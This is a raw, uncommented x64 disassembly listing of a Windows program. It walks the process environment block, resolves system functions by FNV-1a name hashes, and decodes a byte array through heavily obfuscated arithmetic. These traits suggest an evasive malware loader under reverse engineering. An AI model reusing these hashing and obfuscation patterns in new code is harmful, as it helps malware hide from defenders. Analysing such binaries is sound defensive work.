movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x1402169f1
cmp edx, r14d
je 0x140216a12
test r11d, r11d
jne 0x1402169dc
jmp 0x140216a75
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov ebx, dword [r8 + rdx*4]
add rbx, r9
cmp rbx, r10
jbe 0x140216a90
lea rcx, [r10 + rax]
cmp rbx, rcx
jae 0x140216a90
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x140216a54
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
cmp al, 0x2e
jne 0x140216a46
jmp 0x140216a69
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
test al, al
jne 0x140216a5c
mov rbx, qword [r15]
mov r12d, 8
mov rbx, qword [rbx]
cmp rbx, r15
je 0x140216a8d
cmp qword [rbx + 0x30], r13
jne 0x140216956
mov rbx, r13
mov qword [0x14044bb78], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x14044bb70]
test rdx, rdx
jne 0x140216c0f
mov esi, r13d
mov r14d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140216b20
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140216b13
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140216b04
cmp edx, esi
jne 0x140216bf3
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140216bf3
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x140216bf3
mov edi, dword [r10 + 0x20]
mov r12d, 1
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140216b7a
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x140216b6f
cmp edx, r14d
je 0x140216b90
test r11d, r11d
jne 0x140216b5a
jmp 0x140216bf3
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x140216c08
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x140216c08
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x140216bd2
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140216bc4
jmp 0x140216be7
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x140216bda
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x140216c05
cmp qword [rbx + 0x30], r13
jne 0x140216ad4
mov rdx, r13
mov qword [0x14044bb70], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x14044bb68]
test rdx, rdx
jne 0x140216d7e
mov esi, r13d
mov r14d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140216c8f
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140216c82
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140216c73
cmp edx, esi
jne 0x140216d62
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140216d62
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x140216d62
mov edi, dword [r10 + 0x20]
mov r12d, 1
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140216ce9
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x140216cde
cmp edx, r14d
je 0x140216cff
test r11d, r11d
jne 0x140216cc9
jmp 0x140216d62
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x140216d77
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x140216d77
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x140216d41
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140216d33
jmp 0x140216d56
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x140216d49
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x140216d74
cmp qword [rbx + 0x30], r13
jne 0x140216c43
mov rdx, r13
mov qword [0x14044bb68], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x14044bb60]
test rdx, rdx
jne 0x140216eed
mov esi, r13d
mov r14d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140216dfe
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140216df1
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140216de2
cmp edx, esi
jne 0x140216ed1
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140216ed1
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x140216ed1
mov edi, dword [r10 + 0x20]
mov r12d, 1
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140216e58
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x140216e4d
cmp edx, r14d
je 0x140216e6e
test r11d, r11d
jne 0x140216e38
jmp 0x140216ed1
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x140216ee6
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x140216ee6
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x140216eb0
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140216ea2
jmp 0x140216ec5
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x140216eb8
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x140216ee3
cmp qword [rbx + 0x30], r13
jne 0x140216db2
mov rdx, r13
mov qword [0x14044bb60], rdx
xor ecx, ecx
call rdx
cmp qword [0x14044bb58], r13
jne 0x14021705b
mov esi, r13d
mov r14d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140216f6a
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140216f5d
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140216f4e
cmp edx, esi
jne 0x14021703f
mov r10, qword [rbx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x14021703f
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14021703f
mov edi, dword [r11 + 0x20]
mov r12d, 1
dec r9d
lea rdx, [rdi + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x140216fc4
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x140216fb9
cmp edx, r14d
je 0x140216fda
test r9d, r9d
jne 0x140216fa4
jmp 0x14021703f
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, r10
cmp r9, r11
jbe 0x140217054
lea rcx, [rax + r11]
cmp r9, rcx
jae 0x140217054
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14021701c
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, r12
mov al, byte [r9]
cmp al, 0x2e
jne 0x14021700e
jmp 0x140217032
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r9, r12
mov al, byte [r9]
test al, al
jne 0x140217025
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x140217051
cmp qword [rbx + 0x30], r13
jne 0x140216f1e
mov r9, r13
mov qword [0x14044bb58], r9
mov r8, qword [0x14044bb90]
test r8, r8
jne 0x1402170cc
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov r10, r8
mov rcx, qword [r8 + 0x60]
movzx eax, word [r8 + 0x58]
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, 0x811c9dc5
cmp rcx, r9
je 0x1402170b4
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x140217098
cmp edx, 0x610c0de3
je 0x140217122
mov r8, qword [r8]
cmp r8, r10
je 0x1402170c2
cmp qword [r8 + 0x30], r13
jne 0x14021707e
mov r8, r13
mov qword [0x14044bb90], r8
movsxd rax, dword [r8 + 0x3c]
mov r10d, dword [rax + r8 + 0x88]
mov r9d, r13d
mov r11d, dword [r10 + r8 + 0x20]
mov edi, 1
mov eax, r9d
lea rcx, [r11 + rax*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, 0x811c9dc5
mov al, byte [rdx]
add rdx, rdi
test al, al
je 0x14021711d
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
add rdx, rdi
test al, al
jne 0x140217101
cmp ecx, 0xe463da3c
je 0x140217128
add r9d, edi
jmp 0x1402170e5
mov r8, qword [r8 + 0x30]
jmp 0x1402170c5
mov edx, dword [r10 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r10 + r8 + 0x24]
add rcx, r8
mov eax, r9d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x14044bb88]
test r10, r10
jne 0x1402172bb
mov esi, r13d
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rbx, qword [rcx]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1402171c8
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1402171bb
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1402171ac
cmp edx, esi
jne 0x14021729a
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x14021729a
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x14021729a
mov edi, dword [r11 + 0x20]
dec r10d
lea rdx, [rdi + r10*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14021721c
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140217211
cmp edx, r14d
je 0x140217232
test r10d, r10d
jne 0x1402171fc
jmp 0x14021729a
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x1402172af
lea rcx, [rax + r11]
cmp r10, rcx
jae 0x1402172af
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov edi, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x14021728d
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rdi
jmp 0x140217269
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rdi
mov al, byte [r10]
test al, al
jne 0x140217280
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x1402172ac
cmp qword [rbx + 0x30], r13
jne 0x14021717c
mov r10, r13
mov qword [0x14044bb88], r10
mov edi, 1
lea r9, [rbp + 0x11c0]
mov r8d, edi
mov edx, 0x5000
mov rcx, r12
call r10
mov r8, qword [0x14044bb80]
test r8, r8
jne 0x14021743a
mov esi, r13d
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14021734c
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14021733f
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140217330
cmp edx, esi
jne 0x14021741e
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14021741e
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14021741e
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1402173a0
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140217395
cmp edx, r14d
je 0x1402173b6
test r11d, r11d
jne 0x140217380
jmp 0x14021741e
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov r8d, dword [r8 + rdx*4]
add r8, r9
cmp r8, r10
jbe 0x140217433
lea rcx, [r10 + rax]
cmp r8, rcx
jae 0x140217433
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov edi, 1
mov al, byte [r8]
cmp al, 0x2e
je 0x140217411
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r8, rdi
jmp 0x1402173ed
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r8, rdi
mov al, byte [r8]
test al, al
jne 0x140217404
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x140217430
cmp qword [rbx + 0x30], r13
jne 0x140217300
mov r8, r13
mov qword [0x14044bb80], r8
mov edx, 0x5000
mov rcx, r12
call r8
mov qword [0], 0x99
cmp byte [0x14044b462], r13b
jne 0x14021c531
mov byte [rbp + 0xeb0], 0x9b
mov byte [rbp + 0xeb1], 0x59
mov byte [rbp + 0xeb2], 0x80
mov byte [rbp + 0xeb3], 0x5b
mov byte [rbp + 0xeb4], 0xa0
mov byte [rbp + 0xeb5], 0x45
mov byte [rbp + 0xeb6], 0xbb
mov byte [rbp + 0xeb7], 0x47
mov byte [rbp + 0xeb8], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0xeb9], 0x41
mov byte [rbp + 0xeba], 0xaf
mov byte [rbp + 0xebb], 0x43
mov byte [rbp + 0xebc], 0xde
mov byte [rbp + 0xebd], Ordinal_79
mov byte [rbp + 0xebe], 0xdd
mov byte [rbp + 0xebf], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xec0], 0xac
mov byte [rbp + 0xec1], Ordinal_79
mov byte [rbp + 0xec2], 0x86
mov byte [rbp + 0xec3], Ordinal_79
mov byte [rbp + 0xec4], 0x99
mov byte [rbp + 0xec5], 0x75
mov byte [rbp + 0xec6], 0x98
mov byte [rbp + 0xec7], 0x77
mov byte [rbp + 0xec8], __WSAFDIsSet
mov byte [rbp + 0xec9], WSAStartup
mov byte [rbp + 0xeca], 0xef
mov byte [rbp + 0xecb], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xecc], 0xe8
mov byte [rbp + 0xecd], 0x7d
mov byte [rbp + 0xece], 0xe2
mov byte [rbp + 0xecf], 0x7f
mov byte [rbp + 0xed0], 0x9c
mov byte [rbp + 0xed1], 0x79
mov byte [rbp + 0xed2], 0xbb
mov byte [rbp + 0xed3], 0x7b
mov byte [rbp + 0xed4], 0xf4
mov byte [rbp + 0xed5], 0x65
mov byte [rbp + 0xed6], 0xf6
mov byte [rbp + 0xed7], 0x67
mov byte [rbp + 0xed8], 0xac
mov byte [rbp + 0xed9], 0x61
mov byte [rbp + 0xeda], 0x83
mov byte [rbp + 0xedb], 0x63
mov byte [rbp + 0xedc], 0xf0
mov byte [rbp + 0xedd], WSAStartup
mov byte [rbp + 0xede], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xedf], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0xee0], Ordinal_143
mov byte [rbp + 0xee1], WSAGetLastError
mov byte [rbp + 0xee2], 0xa7
mov byte [rbp + 0xee3], WSAGetLastError
mov byte [rbp + 0xee4], 0x88
mov byte [rbp + 0xee5], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xee6], 0xfe
mov byte [rbp + 0xee7], reloc.WS2_32.dll_socket
mov byte [rbp + 0xee8], 0xfd
mov byte [rbp + 0xee9], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xeea], 0x80
mov byte [rbp + 0xeeb], reloc.WS2_32.dll_send
mov byte [rbp + 0xeec], 0xfd
mov byte [rbp + 0xeed], Ordinal_30
mov byte [rbp + 0xeee], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0xeef], Ordinal_33
mov byte [rbp + 0xef0], 0xfa
mov byte [rbp + 0xef1], Ordinal_30
mov byte [rbp + 0xef2], 0xf3
mov byte [rbp + 0xef3], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0xef4], __WSAFDIsSet
mov byte [rbp + 0xef5], 5
mov byte [rbp + 0xef6], 6
mov byte [rbp + 0xef7], 7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xef8], xmm0
mov qword [rbp + 0xf08], rax
mov dil, byte [rsp + 0x50]
call fcn.1402682a8
mov rbx, qword [rax]
call fcn.1402682b0
mov r9, qword [rax]
mov r12d, Ordinal_41
mov r10, r13
mov esi, 1
cmp r10, 0x60
jae 0x1402180bb
movzx r8d, byte [rbp + r10 + 0xeb0]
mov edx, r8d
cmp rbx, r10
ja 0x1402180b2
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x1402176d8
movabs r11, 0xe2ff43c1b0c1bb8c
lea rcx, [r10 + r11]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
add dil, 0x2c
jmp 0x14021770f
je 0x140218030
lea rax, [r9 + 2]
cmp rbx, rax
je 0x140217fe1
lea rax, [r9 + 5]
cmp rbx, rax
je 0x140217f81
lea rax, [r9 + 3]
cmp rbx, rax
je 0x140217f5b
movabs r11, 0xe2ff43c1b0c1bb8c
cmp r9, r10
ja 0x1402180a9
lea rax, [r9 + 0x400]
cmp rbx, rax
jae 0x140217745
movabs rdi, 0x9ef08ee37fe4627c
add rdi, r10
mov al, dil
and al, r8b
add al, al
sub dil, al
sub dil, 0x64
add dil, r8b
jmp 0x140217779
lea rax, [r9 + 1]
cmp rbx, rax
je 0x140217f14
lea rax, [r9 + 2]
cmp rbx, rax
je 0x140217ef0
lea rax, [r9 + 4]
cmp rbx, rax
je 0x140217ecd
lea rax, [r9 + 5]
cmp rbx, rax
je 0x140217eaa
mov r14d, Ordinal_30
lea rax, [r9 + rbx]
cmp rax, r10
jbe 0x140217b7f
lea rax, [r9 + 0x41]
cmp rbx, rax
je 0x140217b5c
lea rax, [r9 + 0x64]
cmp rbx, rax
je 0x140217b48
lea rax, [r9 + 8]
cmp rbx, rax
je 0x140217b25
lea rax, [r9 + 0x5a]
cmp rbx, rax
je 0x140217b02
lea rax, [r9 + 0x80]
cmp rbx, rax
je 0x140217adf
lea rax, [r9 + 9]
cmp rbx, rax
je 0x140217ab8
lea rbx, [r9 + 4]
lea r9, [rbx + 0x2a]
lea rax, [r9 + 0x61]
cmp rbx, rax
jb 0x140218086
lea rax, [r9 + 0x40]
cmp rbx, rax
jb 0x140218064
lea rax, [r9 + 5]
cmp rbx, rax
jb 0x1402178a4
lea rax, [r9 + 0x7a]
cmp rbx, rax
jb 0x1402179eb
lea rax, [r9 + 0x42]
cmp rbx, rax
jb 0x1402179bc
lea rax, [r9 + 6]
cmp rbx, rax
jb 0x14021778c
lea rbx, [r9 + 2]
lea r9, [rbx + 0x41]
lea rax, [r9 + 0x10]
cmp rbx, rax
ja 0x1402179a8
lea rax, [r9 + 2]
cmp rbx, rax
ja 0x140217981
lea rax, [r9 + 0x400]
cmp rbx, rax
ja 0x14021795e
lea rax, [r9 + 0x20]
cmp rbx, rax
ja 0x140217937
lea rax, [r9 + 3]
cmp rbx, rax
ja 0x140217910
lea rax, [r9 + 0x1000]
cmp rbx, rax
ja 0x1402178ec
lea rax, [r9 + 0x28]
cmp rbx, rax
ja 0x1402178c6
lea rbx, [r9 + 0x80]
lea r9, [rbx + 0x28]
jmp 0x14021778c
movabs rcx, 0x4099ca2af930d504
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r14b
jmp 0x14021777f
movabs rdx, 0xf784771bff2313e0
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x20
add dil, dl
jmp 0x140217f32
movabs rcx, 0x3185ef989d9f9cc8
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x78
jmp 0x140217f56
movabs rdx, 0x6b8768153c1c25b0
add rdx, r10
mov al, r8b
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140217f79
movabs rdx, 0x198bd18b1791c068
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140217fd1
movabs rcx, 0x538d4a07b60e4950
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x30
jmp 0x140217e71
movabs rdx, 0x8d8ec284548ad238
add rdx, r10
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140217ffd
movabs rdx, 0xc7903b00f3075b20
mov ecx, reloc.WS2_32.dll_recv
jmp 0x140217bbc
movabs rdx, 0x5893e8387f3eb164
add rdx, r10
mov al, r8b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
mov byte [rbp + r10 + 0xeb0], dil
jmp 0x14021805c
movabs rdx, 0x69851ae5ab44c1c
add rdx, r10
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
lea rax, [r9 + rbx]
cmp rax, 2
je 0x140217e49
lea rax, [r9 + 0x41]
cmp rbx, rax
jbe 0x140217c8b
movabs rdx, 0x16d325271e29b05c
add rdx, r10
mov al, dl
and al, r8b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp rbx, 0x80
jae 0x140217e21
lea rax, [r9 + 0x28]
cmp rbx, rax
jbe 0x140217d30
movabs rdx, 0xb5c3b40a9e0e12d8
add rdx, r10
mov al, dl
and al, r8b
mov ecx, ntohl
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp r9, 0x42
jb 0x1402179de
movabs rcx, 0x71b4ff2c6d30b9c8
add rcx, r10
mov al, cl
and al, r8b
mov edx, 4
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea edi, [rdx + rdx]
jmp 0x140217f32
movabs rdx, 0xf3a4d1d19dd6d7d0
add rdx, r10
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140217ffd
movabs rcx, 0x2da64a4e3c5360b8
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 8
jmp 0x140217e71
movabs rcx, 0x67a7c2cadacfe9a0
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x60
jmp 0x140217fd1
movabs rcx, 0x15ac2c40b6458458
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x68
jmp 0x140217f79
movabs rdx, 0x4fada4bd54c20d40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140217eff
movabs rcx, 0x89af1d39f33e9628
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x18
jmp 0x140217f32
lea rax, [r9 + 0x61]
cmp rbx, rax
jae 0x140217ba6
lea rdx, [r10 + r11]
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140217a0d
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x140217bd4
movabs rdx, 0x3de11dc6ffc8c4f8
mov ecx, r14d
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14021804d
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x140217c00
movabs rcx, 0xc9de2ccdc2cfb328
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x18
jmp 0x140217e71
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x140217c2c
movabs rcx, 0x55db3bd485d6a158
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x68
jmp 0x140217fce
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x140217c5b
movabs rdx, 0x1bd9c357e75a1870
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x10
add dil, dl
jmp 0x140217fa3
lea rax, [r9 + 8]
cmp rbx, rax
jne 0x140217a0d
movabs rcx, 0x6dd559e20be47db8
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 8
jmp 0x140217f32
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x140217cb7
movabs rcx, 0xdcd1acaa7fad2774
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x2c
